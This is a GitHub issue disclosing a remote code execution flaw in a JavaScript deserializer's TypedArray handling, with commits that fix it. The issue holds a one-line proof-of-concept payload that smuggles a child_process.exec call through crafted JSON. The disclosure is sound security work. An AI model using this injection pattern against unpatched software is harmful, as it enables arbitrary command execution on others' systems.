Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Refactor the TypedArray deserializer to avoid RCE #16

Closed
AndreyBelym opened this issue May 14, 2021 · 0 comments · Fixed by #17
Closed

Refactor the TypedArray deserializer to avoid RCE #16

AndreyBelym opened this issue May 14, 2021 · 0 comments · Fixed by #17
Labels

Comments

@AndreyBelym
Copy link
Collaborator

The current TypedArray code leads to an RCE:

const Replicator = require('replicator');
const replicator = new Replicator();
replicator.decode('[{"@t":"[[TypedArray]]","data":{"ctorName":"setTimeout","arr":{"@t":"[[TypedArray]]","data":{"ctorName":"Function","arr":" require(\'child_process\').exec(\'calc\')"}}}}]') 

Discovered by Yaniv Nizry (https://twitter.com/ynizry) from the CxSCA AppSec team at Checkmarx.”

AndreyBelym added a commit that referenced this issue May 14, 2021
AndreyBelym added a commit that referenced this issue May 14, 2021
AndreyBelym added a commit that referenced this issue May 14, 2021
AndreyBelym added a commit that referenced this issue May 17, 2021
fix: Avoid RCE when deserialising TypedArrays [closes #16][part of #12]
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

Successfully merging a pull request may close this issue.

1 participant